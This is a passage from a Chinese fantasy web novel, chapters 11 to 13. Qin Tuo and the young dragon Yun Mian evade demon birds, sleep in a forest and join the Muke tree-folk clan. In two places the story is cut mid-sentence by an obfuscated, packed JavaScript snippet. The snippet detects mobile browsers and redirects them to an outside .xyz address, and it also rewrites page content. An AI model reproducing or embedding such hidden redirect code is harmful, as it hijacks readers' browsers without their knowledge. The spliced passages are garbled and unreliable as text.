泥人巴掌大小,做工十分粗糙,身体歪斜,手脚长短不一,像是被人随手捏出来的玩意儿。但它只有身子,头颅已经不见了。 11.第 11 章 秦拓拿起泥人,凑到眼前仔细端详。 他抠下一点土在指尖搓捻,发现就是随处可见的黄泥,没有什么异常。 这是怎么回事?魔将怎么变成了泥巴? 秦拓思索了片刻,将泥人丢掉,转头看向云眠消失的林子。 小孩还没有出来,不过此刻天上没有罗刹鸟,周围也很安全。他便提起刀,顺着河滩走出一段,去了稍微上游的地方。 身上的象牙白锦袍已经脏污得看不出颜色,还散发出阵阵臭味。他利落地剥掉外袍,穿着中衣走进浅水里,弯下腰洗脸。 刚伸出手,便看见自己的倒影,头发凌乱,满脸糊满黑血,比那魔将还要可怖几分。 秦拓将自己洗干净,再将那外袍也一番清洗。他原本还想继续穿,但在山间林子里滚爬一夜,那袍子被树杈划成了一道一道的,实在没法再穿了。 这么好的料子,他舍不得丢,便将它撕成几块,层层叠好,做成了个包袱,把金球放在里面。 他提着包袱折返,走到云眠逃走的那片林子处,寻了根倾倒的老树,默然坐在树干上。 虽然云眠的反应让他有些生气,但他觉得不用和这还没桌案高的小孩计较,打算在这里等上半个时辰。 如果半个时辰后人还不回来,他便独自离开。 从那魔将刚才的话里,不难推断出,魔军正在四处搜寻云眠。他不知道他们为何非要抓云眠,却知道若继续和云眠呆在一起,自己也会非常危险。 虽然云夫人说过他俩之间有灵契连接,他不能离开云眠十里,但云夫人不一定说的就是真话。之前逃不出龙隐谷,指不准就是云飞翼布下的结界,总得再试一次才心甘。 云眠随时跟着他,此刻自个儿跑开了,正是试一试的机会。 树林里古木参天,交错纠缠的枝干遮挡了大半天空,光线很是阴暗。 云眠蜷在一个潮湿的树洞里,下巴抵着膝盖,手指轻轻抠着旁边的树皮。每过一会儿,他就要探出半个脑袋往外看一眼,眼里满是委屈。 刚才那一幕太过骇人,他想到秦拓那狰狞的模样,想到他如同厨娘切菜般将人脑袋切了,就打了个寒颤,后颈也阵阵发凉,慌忙缩起脖子。 可这幽暗的林子同样让人害怕,树影幢幢,光线昏暗,高空不时有鸟翅振飞的声音。 他心里矛盾极了,既害怕靠近秦拓,又盼着他快些找来。 他自小娇生惯养,被云氏夫妻看得眼珠子似的,何时遭受过这样的煎熬?此刻心里惶恐,也更加思念爹娘,便耷拉着脑袋抽抽搭搭地哭。 秦拓坐在林子外,仔细端详自己的黑刀。 他从小就摸着这把刀,哪怕是闭上眼睛也能描绘出它的外形,包括刀锋边缘翻卷的三处缺口,刀柄上的每一道纹路,甚至刀面上每一团锈痕的形状。 可就是这样一柄粗钝的铁刀,方才却能轻易斩断罗刹鸟与魔兵的脖子,也能磕断魔兵的钢刀。 他捧着刀反复查看,怎么也看不出它的特别,最后只得作罢,俯身揪了把野草,将黑刀仔仔细细擦了一遍。 半个时辰过去,他抬头望天,见此时没有罗刹鸟,便慢吞吞地站起身,声音不大不小地冲着林子道:“你真不出来了?打算一直呆在里面?” 云眠盘腿坐在树洞里,脸上的泪痕已经风干,正在用树枝拨弄一只小蚂蚁。听见秦拓的声音后,他倏地坐直身,竖起了耳朵。 “如果你不出来,那我就走了……” 云眠从树洞中探出半个脑袋,嘴唇翕动着,却又没有出声。他两只手紧紧扭在一起,眼睛看着林子外,满脸都是挣扎。 秦拓等了片刻,依旧没得到回应,便抬头看向天空:“云夫人,不是我不带上他,而是他不愿意跟着我。” 他说完这句,便背上黑刀,转身走向东南方。 少年大步前行,黑刀斜负身后,刀柄上挂着一个小包袱。一阵河风吹来,他乌黑的发丝肆意飞扬,丝缎素白中衣紧贴着身躯,虽然还在抽条成长,但那身形已挺拔修长。 他走出一段后,又放缓脚步,回头看向那片树林。 接着再次转身,继续大步向前。 他眺望河流尽头,脑中突然浮现出秦原白的面容,冷着脸斥责:“冷心冷肺,天性凉薄。” 少年眼里掠过瞬间的悲伤,随即又自嘲地扯了扯嘴角,脚步迈得更快。 云眠还在竖起耳朵听,屏息凝神等了很久,见秦拓没有再出声,终于忍不住小声回道:“那,那我就要出来了。” 他本能地不想让秦拓知道自己为什么躲进树林,便绞尽脑汁,寻了个自觉很妙的理由:“哎呀,捉迷藏好久了,你都没有找到我,那我就出来了。” 云眠说出这句后,便忙不迭钻出树洞,跌跌撞撞地冲出林子。但他站在林子边左右张望,只看见空荡荡的河滩,没有见到半个人影。 “娘子?娘子?娘子?” 秦拓一直朝着东南方前行,每遇到天上飞过罗刹鸟,就赶紧躲起来。如此走走停停,约莫行出十里地时,已经过了快两个时辰。 他走进了一处峡谷,看着两侧峭壁投下的阴影,每走一步,云夫人关于灵契的警告便在耳边响起一次,那逃离龙隐谷时遭遇的剧痛也变得清晰。 他的脚步不自觉越来越慢,越来越迟疑。 “怕什么?不过都是唬人的。”他喃喃自语,又深吸了口气,猛地加快脚步。 可他继续往前走出了数十步,忽然浑身一颤,神情大变。 那熟悉的剧痛突然再次袭来,仿佛有千万只毒虫在血脉中啃噬,又似滚烫的烙铁落在皮肤上。 秦拓双腿一软,重重栽倒在地,嘴里发出一声痛苦的呻吟。虽然痛得身体都在抽搐,也挣扎着翻了几圈。 这剧痛来得凶猛,去得也迅速。他躺在地上休息片刻,待到气息渐平,再慢慢支起身子,倚着岩壁坐着,苦笑了一声:“十里……” 那抹苦笑尚未散去,他眼中又迸出凶光,一拳狠狠砸向地面,冲着天空咬牙切齿:“云飞翼,倘若你不死,日后我定要扒你的皮,抽你的筋。” 秦拓已熟悉路线,折返时便选了近道,途经了一个不知名的小族。 这个小族也遭受了魔军攻击,整座村没有半分生气,只剩下一堆残垣断壁。他踩着瓦砾在其中搜寻,只看见了几具焦尸,想来其他族人应该是已经逃了。 不过他在废墟深处发现一个半塌的地窖,掀开石盖,一股焦香混着烟熏味扑面而来。 这窖里囤积的山薯已被烤成焦炭,他伸手去深处掏了一个出来,发现埋在底下的山薯还算完好。 虽然这些山薯也被烤熟了,但熟得恰到好处,既未焦糊,也未夹生。 他此时饥肠辘辘,拿起一根已经冷掉的烤山薯,顾不得撕掉外皮,张口便咬。 他一连吃了四根山薯,直到撑得肚子发胀才停下。临走前又拿了十几根,将自己那包袱塞得满满。 当秦拓回到之前的那个河滩时,天色已经变得昏暗。当他远远看见林子边那道小身影时,不觉轻轻松了口气。 云眠侧对他坐在树墩上,整个人只有小小的一团,在渐浓的暮色中显得格外孤单。 秦拓脚步顿了顿,心里浮起一种复杂的情绪。虽然他因为灵契的事怨恨云飞翼,也有些迁怒云眠,但看见小孩一直坐在这里等着他,竟然也感觉到一丝心虚。 他放轻脚步走了过去,看见云眠垂着脑袋,抽噎了一声,抬起皱巴巴的袖子擦眼睛。 秦拓脚下踢到一块石头,发出咔一声响,云眠也猛地转过头。 他依旧歪戴着假发,鼻尖通红,双眼红肿,在看见秦拓的瞬间便呆住,微微张着嘴,像是反应不过来似的。 秦拓正想开口,便看见那双噙着泪的眸子突然亮了起来,像是一汪清泉里撒入万千星辰,粼粼波光几乎要溢出眼眶。 小孩欠起身,似是想要朝秦拓冲过来,却又慢慢坐回树墩,重新面朝河水。他张着嘴无声地哭,眼泪顺着脸颊往下淌,身体也随着抽噎在一下下颤动。 秦拓缓步上前,在云眠面前蹲下,不出声地看着他。云眠哭着扭过头,秦拓便蹲着往旁挪,继续挡住他的视线。 云眠闭上眼,吭吭抽着气,边哭边道:“我,我,在和你,和你捉迷藏,你,你为什么,不,不来找我,我等了好久,好久……” 他又睁开眼,泪眼朦胧地去推秦拓:“我是你的爷们,是你的天,你就只知道忤逆我,你走开。” 秦拓依旧蹲在原地看着他,身体都没有晃动,他涨红着脸继续用力,边推边哭喊:“走开,走开。”又恨恨地道,“如果这里有棍子,我就要打你。” 秦拓抬头看了眼上方,见天上没有罗刹鸟,但也捉住了那只小手:“好了,别哭了。我知道你在我和捉迷藏,但怎么也找不到你。” 云眠顿时愣住,也停下了推搡他的动作。 秦拓指着右侧远方:“我一直往那边走,想着你可能藏在那方向,但走了很久都没见到人。我吓得哇哇哭,心想没有了夫君的照拂,以后该怎么办呢?最后想着再回来看看,结果发现你就藏在这里。” “我没有藏在这里,我是藏在洞里的呀!”云眠的眼睛亮起了光彩,一脸激动地指着身后树林,“你找错了,我就在洞里呀。” 秦拓一拍脑门,无比懊恼:“我怎么就没想到去林子里找找呢?” 云眠满脸是泪,却又弯起眼睛笑:“你好笨呀!” “唉……”秦拓叹气。 “你没玩过捉迷藏吗?” 秦拓摇摇头:“以前没有玩过。” “哈哈,都没玩过捉迷藏,哈哈哈……”云眠像是听见了什么好笑的事,笑得挂在睫毛上的一颗泪珠也掉了下去。 待到笑够后,他用力吸吸鼻子,拉过秦拓的手放在自己膝盖上,安慰道:“那以后我还陪你玩,你就知道了。” “好。” “但你不要找远了哦。”他想了想后又叮嘱。 秦拓收回手,解下挂在刀柄上的包袱,取出一根山薯递向云眠。 “这是什么?”云眠抽了抽鼻子,闻到了香味。 “山薯。” 云眠已经饿了一天,虽然直勾勾地盯着山薯,肚子也发出咕咕叫声,却没有立即去接,只一边吞口水一边问:“山薯怎么是黑的呀?山薯不是黄黄的吗?”接着伸出手指摸了下表皮,再看着自己的黑指头,用撒娇的口气嫌弃:“怎么吃呀?它好黑,把我的手指弄黑了。喏,你看。” 秦拓看着那根伸在自己面前的手指,白白嫩嫩,指尖一点黑。 他知晓这小龙娇生惯养,之前还会冷声呵斥,如今却懒得再与他计较,那只是白白浪费时间,还搞得自己一肚子气。 而且先前抛下他,虽然没有走掉,但心里到底生出了一分愧疚。便默默接过山薯,将外面的皮剥掉,再重新递给他。 云眠捧着山薯,大口大口地啃,秦拓坐在对面看着他。 “你一直等在这里的吗?”秦拓问。 “唔。”云眠使劲点头,鼓着嘴道,“我怕我走了,你找不到我了。” “我要是一直找不到你,你会怎么办?” “你真的有些笨哦,一点都不让我省心。”云眠无奈地摇头,“下次你找不到我,别怕,也别哭,你就不动了,等我去找你。” 秦拓没有出声,云眠便继续啃山薯。他吃得摇头晃脑,边吃边哼哼,还嚼出吧嗒吧嗒的声音。 虽然秦拓说自己已经吃过了,但他还是劝道:“你陪我一起吃吧,我没吃过这样好吃的山薯。” 秦拓知道他这是饿了,正要说什么,便见他忽然停下咀嚼,目光直直地看着前方,接着站起身,按着自己胸口左右走,又一脸惊慌地看向他。 秦拓立即上前,一把将人横抱起,大头朝下夹在腋下,拍他的背,直到他把那口哽在喉咙里的山薯给吐出来。 待到云眠吃饱,四周已经彻底暗了下来,夜空中不见半点星光。云眠倒能依稀辨物,秦拓却两眼一抹黑,什么都瞧不见。 高空不时有罗刹鸟经过的振翅声,秦拓在黑暗中对云眠道:“我们去林子里睡觉,等天亮了再赶路。” 云眠紧紧盯着秦拓,见他虽然面朝自己,目光却没有半分焦距,便好奇地凑近,几乎是贴着他的脸问:“明天去哪儿?” 秦拓听见骤然响起的声音,唬得身体后仰,云眠哈哈地笑,秦拓赶紧伸手去捂他的嘴:“别这么大声。” 云眠见他捂了个空,干脆自己抬手捂住,小声道:“知道不大声,我刚忘记了。” 两人站了起来,秦拓挎好包袱,背上黑刀,再双手扶着云眠的肩,让他引着自己去树林。 云眠一边带路,一边小声提醒,让秦拓注意脚下的石头和树根。 “……这里有个石头哦,我已经绕过去了,只要你不乱走,就不会撞上它。”云眠说着说着,突然想起他还没回答自己之前的问题,便突然问,“等明天天亮了,我们要去哪儿?” 秦拓正仔细听着周围的动静,也没多想,回道:“去弘沙地。” 云眠立即停步,转头看着他,拖长声音反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307662|182737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问:“嗯……你说什么……” 秦拓一怔,立即反应过来:“去炎煌山。” “我就知道你要忘记。”云眠的声音听上去很得意,“我要是没在这里的话,你肯定就走错路了。”他的语气又变得惊慌,学着秦拓道,“哎呀呀,这是哪儿呀?这是哪儿?夫君,你在哪儿?快来接我……” 秦拓:“……” 云眠敛起笑,侧脸贴着他搭在自己肩上的手上,蹭了蹭,语带怜爱地道:“走错了也别怕,走回来就行了,夫君会等你的。” 两人寻了处稍显开阔的空地停下。这林子里有着厚厚的落叶层,秦拓摸黑将身周落叶拢在一起,云眠也去旁边抱来更多,很快便堆起一个小山似的落叶堆。 秦拓放下刀和包袱,倒在松软的落叶堆里,再拍拍自己身侧,示意云眠躺下来。 “这是要在叶子上睡觉吗?”云眠不确定地问。 “不然堆这么高做什么?”秦拓舒服地翻了个身,“我准备睡了,你不睡的话就等在旁边,不要打扰我。” “我要睡觉的。”云眠赶紧道,“可是被子呢,躺着睡觉是要盖丝被的。” “没有被子。”秦拓打了个呵欠,“这不是你龙隐谷,能有堆树叶躺着就算不错了。 云眠站在落叶堆旁,为难地绞着手指。他左右看看,最终还是在秦拓身旁躺下,身子拱了拱,将脑袋枕在他的肩上。 秦拓感觉到颈子间毛茸茸的,伸手一摸,是那顶假发。 “你把这个扔了。”他扯起那团假发晃了晃。 假发连着两根细绳,在分别绕过两只角,在脑后打了个结。他一松手,假发又弹回云眠脑袋上。 云眠抬手抱住自己脑袋:“我不扔。” “你把这劳什子顶在头上做什么?”秦拓一直不明白他为何要戴这假发,就像顶了个黑漆漆的鸟窝。 “自然是为了好看。”云眠抿了抿唇,细声细气地解释,“娘说我头发稀疏,只要戴了这个,我就是三界里最俊俏的小龙君。” 秦拓沉默几秒后,道:“那也取下来,等明天再戴。” “取下来呀?”云眠有些不舍。 “就算你是天上地下最俊俏的小龙君,这里没有其他人,只有我。而且黑灯瞎火的,我也看不见。”秦拓翻了个身,侧对着他,“我保证不扔,就挂在刀柄上,如何?” 云眠这才勉强同意:“那你给我取下来吧。” “你自己取。” “我不会。”云眠在黑暗中扭了扭身体,落叶堆发出窸窸窣窣的声响,“都是奶娘和娘给我取。” 秦拓在心里暗骂了一声废物,伸手摸到他脑后,解开了绳结,再将假发搭在了刀柄上。 两人重新躺下,林间起了风,枝叶发出沙沙的响动,气温也比白日要低。 “娘子,娘子。” “怎么?” “你冷吗?”云眠支起脑袋看向秦拓。 “不冷。” “好吧,让夫君抱着你,你就不冷了。” 秦拓还未回答,云眠便已经拱进他怀里,还拿起他另一条胳膊,搭在自己身上。 秦拓明白他冷,便默许了他这举动,却又听见他小声嘟囔:“我有时候有点怕你。” “什么时候?”秦拓下意识问。 “就,就你打掉人脑袋的时候,你看着好吓人……” 云眠说着说着,声音越来越小,抬起头,在黑暗中仔细看秦拓的脸。接着很小心地将搭在身上的手挪开,一点一点往远处蹭。 云眠挪出一尺远,便停下继续观察秦拓,见他一动不动,犹豫片刻,又一点一点地蹭了回去。 他重新窝进秦拓臂弯,像只受惊后又忍不住寻求温暖的小兽。 “不怕了?”秦拓问。 “……还是有点怕的。” 云眠又开始往远处挪。 “你有时候很凶很凶很凶,但是不会打掉我脑袋的对不对?”云眠不安地问。 秦拓原本想说那可不一定,转念一想,若真吓着他,今夜怕是不得安生,便回道:“你这颗脑袋,就安心长在脖子上,我保证不会去砍掉的。” 云眠长长松了口气,又抬手摸了下头顶:“那你也不要割我的角,饿了也不要割,这个不是饽饽。” “唔。”秦拓闭上眼,“别说话了,睡觉。” 云眠却又咂咂嘴:“我有点想吃饽饽了。” “方才的山薯没吃饱?” “吃饱了,但是我也想吃饽饽,吃肉馅儿饽饽。” “你怎么废话那么多?快睡觉。” “你想吃饽饽吗?”云眠翻了个身,凑近秦拓小声问,“我给你啃我的角,你要轻点啃哟,很轻很轻地啃。好不好?好不好?” 不待秦拓回答,他又笑:“我骗你的,我才不给你啃我的角,哈哈哈……你不能说我,我是在小声笑,哈哈哈哈哈……” 秦拓抬起胳膊挡住脸,只后悔之前为何要说饽饽?若说那是两团牛屎疙瘩就好了。 秦拓不搭理云眠,云眠自顾自说了一会儿,打了个呵欠揉揉眼睛,也准备睡觉。 秦拓刚松了口气,却听见他在开始唱歌,还一左一右地扭动身体:“小龙的鳞片闪呀闪,踩着云朵攀上天…… 秦拓:“……” 炎煌山小雀儿多,秦拓被烦得紧了,会使些小手段,让那些聒噪的雀儿吃些苦头。但现在他想到那窝被烤成炭的鸟蛋,想到那独自坐在河边的小身影,终究没有出声,只耐着性子等云眠唱完。 谁想云眠唱完一段,竟然又开始了第二段:“小龙的尾巴摇呀摇,偷喝仙露醉倒了——” “有完没完?你还打算唱多久?”秦拓的耐性终于耗光。 云眠被打断,转头看向他:“我本来就要唱完了,这下又只有从头唱了。娘子你不要捣乱,我很累呀。” 秦拓深深吸了口气,刚想呵斥,便听云眠幽幽道:“我有些想娘了,我娘最喜欢听我唱小龙歌。” 秦拓一怔,立即想到了云夫人,也想到那从半空坠落的金龙,刚涌到嘴边的呵斥便又咽了下去。 “小龙的鳞片闪呀闪,踩着云朵攀上天……抱着彩虹当棉被,呼噜震落大蟠桃。” 在秦拓没有阻止的情况下,云眠终于唱完最后一个音,完成了睡前必行仪式,这才心满意足地道:“好了,睡觉。” “我的丝被没在,我肯定睡不着。我的丝被好好看,翠姑还绣了小龙……” 云眠的声音越来越小,很快便沉沉睡去。秦拓听着他的呼吸声,也闭上了眼睛。 12.第 12 章 第二天天亮,两人吃过煨热的山薯,便收拾动身。 秦拓见云眠身上那件红袍脏污不堪,索性替他除了,也如自己那般,只穿着一套中衣。 途中遇到一个山洞,两人进去歇息时,秦拓找来一块中间凹陷的薄石板,从包袱里取出那个从床栏上割下的金球,放在了石板凹陷里。 他掌心贴在石板下方,凝神催动灵气,一小股青蓝色火焰跃起,在他掌心跳动流转。 四周都罩着蒙蒙魔气,原本就已稀薄的灵气更是几近于无。好在他体内始终有股灵气流转不息,勉强能催动含有朱雀之力的真火。 石板中央迅速发烫,放在上面的那个金球也开始融化。 云眠觉得稀奇,蹲在一旁,目不转睛地看。 “这是做什么呀?”他指着融化中的金球问。 秦拓似笑非笑地看了他一眼:“这玩意儿你没见过?” 云眠摇头:“没见过。” “这可是好东西,是我家祖传下来的金疙瘩。也就是你,换了别人,我都不会让他看一眼。”秦拓道。 云眠听得眉开眼笑,咧着嘴朝他嘻嘻笑了声。 金球很快融成一汪金液,汇聚在石板中央凹陷处。秦拓收回真火,两手捻起石板边缘未受热处,似蜻蜓点水般,将金液一点点滴在旁边一块平整的石面上。 他手速很快,每点一下,石面上便多出一颗黄豆大小的金珠。 秦拓将所有金液倒完,石板上已布满了金豆子。他俯身轻轻吹了口气,拿手扇风,等待这些金豆子冷却。 原先那金球不好花用,融成这些金豆子,那就方便多了。 云眠也趴在旁边吹气扇风,伸手去摸,被秦拓将那只手拨开:“仔细烫糊你的爪子。” 待到金豆冷却,秦拓将它们都收入包袱,带着云眠再次出发。 夕阳西沉时,二人终于走出这片峡谷。前方丘陵起伏,秦拓知道这是到了百族丘。 这一带散落着数个小族,比如青萝族,燧人族和木客部落等等。他虽然是第一次来到此地,却也知道情况不妙。 百族丘据说是灵界风景最胜之地,但此时放眼望去,暮色中只有已炭化的树木,四野尽成焦土,远处依稀可见村落的轮廓,却还在冒着明火。 眼前的萧瑟景象让云眠有些畏惧,牵着秦拓的衣角小声道:“我们不在这儿了,走吧,我们去炎煌山找爹娘。” 云眠很少出过龙隐谷,平日里去到谷口,便会被奶娘抱回去。他满心以为外头会比谷里好玩许多,哪曾想一路行来,谷外竟是这样,令他非常失望。 “走吧。”秦拓收回了视线。 云眠回头望了眼,忽然有些紧张,指着远处天空:“你看,那里有鸟,是不是罗刹鸟?好多哦。” 秦拓也回头,看见黑压压的鸟群如阴云逼近,神情一凛,牵住云眠走向右侧岔路:“这边,快走!” 道路两侧原本是茂密的树林,如今只剩下焦黑的树干。若是有罗刹鸟从空中经过,一眼就能发现地面的人。 秦拓将黑刀挎在肩上,再背起云眠,朝着右方疾步奔去。 远处也是起伏的丘陵,但不全是焦土,其中还保留着一大片森林。他可以钻进林子,再绕行去往弘沙地。 焦土上笼罩着一层魔气,如雾般缠绕在那些焦黑的枯树间。秦拓朝着前方发足奔跑,云眠紧紧搂着他的脖子,不断往后方看,生怕被罗刹鸟追上。 秦拓奔出了一段路,视线扫过左侧时,突然顿了顿。 那片烧焦的荒地上,孤零零立着棵树,碗口粗细,生着青灰色树皮和黄绿相间的叶子,显得非常突兀。 他忍不住多看了一眼,背上的云眠却绷直身子:“有只鸟来了,它飞过来了!” 秦拓转头,看见果然有只罗刹鸟冲这边飞来。距离太远,他不确定那魔物发现自己没有,想化为朱雀贴地飞行,又怕那赤红羽翼太醒目,便只加快脚步往前冲。 但在冲过那棵树时,他还是忍不住低喝:“你好歹把自己烧一烧,这样显眼是要给谁看?” 树一动不动,却在秦拓背着云眠跑过后,树身底部显出两簇根须,像是生出两只脚,飞快地跟着他们跑。 树冠随着奔跑剧烈摇晃,叶片唰唰响。云眠原本还在看天,听见动静后,目光落在那棵树上,凝滞瞬间,连忙去拍秦拓的肩膀:“树,树,树……” “那不是树,是木客人。”秦拓头也不回。 罗刹鸟越来越近,但秦拓和那棵树也终于冲进了树林。浓密的枝叶覆盖上空,罗刹鸟没有发现他们,只在附近天空盘旋一周,又飞去了其他地方。 秦拓放下云眠,云眠盯着旁边的树看。 “你怎么跑的?你刚才是怎么跑的?”云眠问。 面前的树没有任何反应,左边却响起一道声音:“我在这儿。” 云眠转过头,看见身后不知何时已经多了一名少年。他年纪和秦拓差不多,模样清秀,穿着一件粗布衣,身形单薄高瘦。 云眠留意到他那一头披散在肩上稀疏细黄的头发,立即便心生好感。 “你是那棵树吗?”云眠问。 “是啊。”少年小心扒拉着自己的头发,嘟囔着,“灵气太少,害得我好些叶子都打了蔫儿,刚才跑得太急,又掉了几片。” 一番简单交谈后,秦拓知道了面前这名木客少年叫做莘成荫。魔军在昨夜袭击了百族丘,各族措手不及,被打了个七零八落。 莘成荫没什么心眼,秦拓很快从他嘴里问出,混乱时,木客家主令族人在前面这片林子里汇合。莘成荫在躲过魔军搜寻后,现在便是要赶去林子里。 秦拓问他是否遇到过幸存的朱雀族人,少年却摇了摇头。秦拓有些失望,但总算能见到其他灵族,一直紧绷的心也稍稍放松了些。 莘成荫刚才被秦拓提醒,避开了罗刹鸟,心中感激,便邀请他和云眠跟着木客族同行。 秦拓知道这是个小族,没什么存在感,一群树人也没什么能耐,指不准就是打算辗转各个林子,寻个隐蔽处扎根,能躲则躲,躲不过便烧死算了。 但他转念一想,跟着木客族,总好过他独自带着云眠奔逃,所以既没同意也没推拒,只道:“多谢了,那我就随你去看看。” 莘成荫引着他俩去往密林深处,拨开一片藤蔓后,吹了三长两短的口哨。 眼前的林子突然活了过来,那些看似寻常的树木皆化成了人形。几个小树人冲了上来,亲热地抱住莘成荫。 小树人们发现了云眠,好奇地打量他。云眠也回看他们,又有些不好意思,慢慢地挪去秦拓背后,再露出半只眼睛。 人群中央站着位须发皆白的老者,正是木客族家主,他向莘成荫询问过外面情况后,这才看向了秦拓。 莘成荫赶紧向家主引荐秦拓,家主显然并不想在这时候接纳丘外的灵,脸色就有些不太好看。 而秦拓在看见这一大群木客人后,心下顿时有了计较,也做出了暂时跟着他们的决定。 他心思活络,懂得投人所好,也清楚什么样的自己会惹人喜爱,此刻便垂下眼眸,做出略微拘谨状,恭恭敬敬地行了个礼:“晚辈朱雀族秦拓,见过木客家主。” 说完,又不动声色地扯了下背后的云眠。 云眠看了看他,也上前一步行礼,仰起脸唤了声:“爷爷好。” 木客家主看向云眠,当看见他头顶那两只玉白小龙角后,神情一怔,手指也攥紧了木杖。 “云飞翼是你什么人?”他问道。 “他是我爹爹。”云眠眨了眨眼睛。 木客家主其实在看见小龙角的瞬间,便明白了云眠的身份。他知道云家子嗣珍贵,这些年只有一只幼龙,而且被严密保护着,绝不会就这样在外游荡。 而幼龙竟然出现在了百族丘,只怕云家也遭遇了不测。 老家主眼底闪过一丝痛色,面上却不显,只柔声问道:“叔父,您可知道我是谁?” 秦拓闻言眉峰微挑,云眠立即睁圆了眼睛,嘴巴微微张着。 他困惑地左右环顾,确定身旁没有其他人,回头见老家主还盯着自己,便认真解释:“爷爷,我不叫叔父,我叫云眠。” 老家主笑了笑,转身对族人们解释道:“两百年前,家父遭天雷劈灼,幸得云家主以龙息相救,又传了他修炼之法,助他渡过天劫。”他又对着云眠道,“家父感念大恩,认云家主为义父。按此辈分,您自然就是我的叔父了。” 云眠茫然地挠挠下巴:“爷爷——” “不敢。”老家主行了一礼,“木客族第七代家主莘岳,拜见叔父。” 云眠也有模有样地拱手回礼:“爷爷——” 莘岳连忙摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314247|182737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手后退:“叔父,使不得。” 云眠看向秦拓,秦拓一手环胸,一手撑着额头,挡住了自己的脸。 “那,那好吧,那我就是爷爷的叔父吧。”云眠道。 “您可以叫我莘岳。” 老家主有很多话想问云眠,包括龙隐谷和云氏族人的现状,但云眠年纪太小,一脸懵懂,他便将视线转向了秦拓。 秦拓会意,知道这是有些话不方便让云眠听见。 “成荫,陪你祖爷爷去旁边玩。”莘岳对莘成荫道。 “是。” 云眠看向秦拓,见他冲自己点点头,这才牵住莘成荫的手,跟着他走向了另一边。 莘岳待云眠走远后,便对秦拓道:“云阿爷家里娶儿媳,老朽本要去龙隐谷赴宴,但族中突发要事,便只派人送去了贺礼,打算改日再登门道喜。” 他上下打量着秦拓:“小友莫非就是我那叔娘?” 秦拓下意识否认:“那不是,晚辈是奉家主之命,前去龙隐谷送贺礼的。” 莘岳点点头,又急切地问:“那云阿爷他们可还安好?” 秦拓便从龙隐谷的变故讲起。不过他隐去了很多,只道自己吃过席,因事耽搁晚走了一步,结果便突遭魔军袭击。 莘成荫将云眠带到林子右边的空地,那里蹲着几个在玩石子的木客族孩童。 云眠很少接触同龄小孩,激动中带着几分局促,目光灼灼地盯着他们看。 “叫祖爷爷。”莘成荫道。 那几个小孩刚才也听到了莘岳的话,便很顺溜地喊:“祖爷爷。” “祖爷爷好。” 云眠抿嘴笑,忸怩地绞着手指:“孙孙好。” 莘成荫待他们互相打过招呼,又对其他小孩叮嘱了几句,让他们照顾好祖爷爷,便转身离开了。 孩童里有个梳着丫髻的小丫头,穿着花布衣,圆脸盘子有些黑,一双眼睛虽然不大,却黑亮如点漆。 “嘿嘿。”云眠冲着她笑,又腼腆地唤了声,“孙孙妹妹。” “我才不是你孙孙。”小丫头却不太高兴地朝他翻了个白眼,扭回头,对其他小孩道,“别理他,像个傻子。” 云眠知道傻子是什么意思。谷里有个虾家仆,据说曾经被大鱼吞过,虽然从牙齿缝逃了出来,但挤着了脑袋,话都说不利索,大家都喊他虾傻子。 他赶紧为自己解释:“我不是傻子,我没有被大鱼吃过哦。” “他不是傻子哦,他是祖爷爷。” “你怎么说祖爷爷是傻子呢?” 另外几个孩童也对小丫头道。 “真的,我没有被大鱼吃过,我说话你们都能听明白对不对?我还会吟诗。” 云眠立即一只脚向旁伸出,脚尖翘起,脚跟点地,斜着身体双手叉腰。 他摆好吟诗的姿势,小丫头却又冲他翻了个白眼:“我才不听。” 云眠讪讪地站直身,低声咕哝道:“不听算了。” 小孩们继续玩,云眠欠着身去看。只见他们在玩一种角儿游戏,地上画着几个方格,每人放一个用石子或果核做的角儿,轮流弹击,若将别人的角儿撞出界,便可赢走。 “祖爷爷,你也要玩吗?”一个小树人问。 “这个……”云眠露出犹豫状,但还不待小树人反应,便匆匆走过去,“好吧,我就陪你玩玩。” “我们要押角儿的,祖爷爷你有角儿吗?”另一个小树人问。 云眠摸摸身上:“我没有呀。” “那你要拿什么作数?” 云眠没有其他东西,只有放在包袱里的那顶假发。但假发他是万万舍不得押出去的,便抿起唇腼腆地一笑:“我押个娘子吧。” “祖爷爷,你还有娘子?”一个小树人好奇地问。 “有啊。”云眠转身往后指:“喏,他就是。” 几个小孩都看向秦拓,又面面相觑,小丫头道:“果然是个傻子,土包子。” 秦拓这边还在同莘岳讲述经过,一脸正色道:“……我知道灵界各族同气连枝,本想着与魔军殊死搏斗,但既然受云夫人临终所托,那么不得不以信义为先,这才护着小龙君逃出重围,又一路辗转到了这里。” 莘岳听得眼里泛着水光,旁边的木客族人也面露沉痛,莘成荫和一群少年树人看着秦拓,满眼都是钦佩和折服。 13.第 13 章 一名树人哽咽着道:“我们原本还指望云老祖宗会来救我们,可想不到老祖宗和祖奶奶竟然……” 周围的树人也开始低泣,莘岳更是老泪纵横。 秦拓肃然而立,直到他们情绪平复,这才问道:“诸位有见过我朱雀族的幸存族人吗?” 木客族人纷纷摇头,一人叹息道:“昨夜魔军来得突然,各族之间别说相互支援,连通风报信都不行。” 秦拓本也不曾抱多少希望,但听得这般回应,心里仍是沉了沉。 “灵界出了这么大的事,却始终没见着无上神宫的人,怕是神宫也遭了难。”有人道。 所有人齐齐看向了家主。 